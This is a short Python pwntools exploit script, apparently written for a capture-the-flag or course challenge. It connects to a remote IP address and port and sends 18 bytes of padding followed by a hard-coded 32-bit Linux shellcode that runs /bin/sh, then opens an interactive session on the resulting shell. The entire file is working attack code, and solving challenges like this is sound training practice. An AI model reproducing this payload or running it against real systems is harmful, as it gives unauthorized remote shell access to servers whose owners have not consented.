pwn.py

#!/usr/bin/env python


from pwn import *
import sys
import time

HOST = "140.112.31.96"
PORT = 10121
ELF_PATH = ""
LIBC_PATH = ""

# setting 

context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
#elf = ELF(ELF_PATH)

#libc = ELF(LIBC_PATH)


r = remote(HOST, PORT)
#r = process("./pwn2")

shellcode_byte = [ 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0xb0, 0x0b, 0x31, 0xc9, 0x31, 0xd2, 0xcd, 0x80 ]

shellcode = ''.join( chr(c) for c in shellcode_byte)


if __name__ == "__main__":


    payload = "A"*18
    payload += shellcode
    r.sendline(payload)
    r.interactive()